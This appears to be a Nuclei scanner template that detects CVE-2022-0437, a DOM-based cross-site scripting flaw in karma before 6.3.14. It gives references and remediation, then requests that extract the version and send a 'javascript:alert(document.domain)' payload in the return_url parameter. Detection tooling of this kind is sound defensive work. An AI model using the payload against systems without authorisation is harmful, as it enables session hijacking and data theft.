karma-runner DOM-based Cross-Site Scripting

id: CVE-2022-0437

info:
  name: karma-runner DOM-based Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: NPM karma prior to 6.3.14. contains a DOM-based cross-site Scripting vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to the latest version of karma-runner that includes proper input sanitization to mitigate this vulnerability.
  reference:
    - https://huntr.dev/bounties/64b67ea1-5487-4382-a5f6-e8a95f798885
    - https://github.com/karma-runner/karma/commit/839578c45a8ac42fbc1d72105f97eab77dd3eb8a
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0437
    - https://github.com/karma-runner/karma
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0437
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.40882
    cpe: cpe:2.3:a:karma_project:karma:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 2
    vendor: karma_project
    product: karma
    framework: node.js
  tags: cve2022,cve,oss,huntr,karma,xss,karma_project,node.js

http:
  - method: GET
    path:
      - '{{BaseURL}}/karma.js'
      - '{{BaseURL}}/?return_url=javascript:alert(document.domain)'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - compare_versions(version, '< 6.3.14')

      - type: word
        part: body_2
        words:
          - 'Karma'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - "(?m)VERSION: '([0-9.]+)'"
        internal: true
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